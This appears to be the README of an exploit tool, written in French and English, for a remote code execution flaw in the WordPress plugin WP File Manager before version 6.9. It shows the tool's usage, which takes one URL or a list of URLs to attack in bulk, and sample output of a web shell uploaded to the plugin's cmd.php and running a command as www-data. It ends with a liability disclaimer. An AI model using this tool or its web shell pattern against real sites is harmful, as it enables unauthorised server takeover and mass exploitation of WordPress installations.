
wp-file-manager RCE
WP File Manager < 6.9 - Téléversement arbitraire de fichier menant à une exécution de code à distance (RCE)
usage: wp-file-manager.py [-h] [-u URL] [-f FILE]
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL URL of host to check will need http or https
-f FILE, --file FILE File of URLS to check
[+] Testing https://localhost [+]
[*]Shell Uploaded https://localhost/wp-content/plugins/wp-file-manager/lib/files/cmd.php?cmd=id[*]
Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
L'utilisation de cet outil pour attaquer des cibles sans consentement mutuel préalable est illégale. Il incombe à l'utilisateur final de respecter toutes les lois locales, étatiques et fédérales applicables. Les développeurs déclinent toute responsabilité et ne sont pas responsables de tout usage abusif ou dommage causé par ce programme.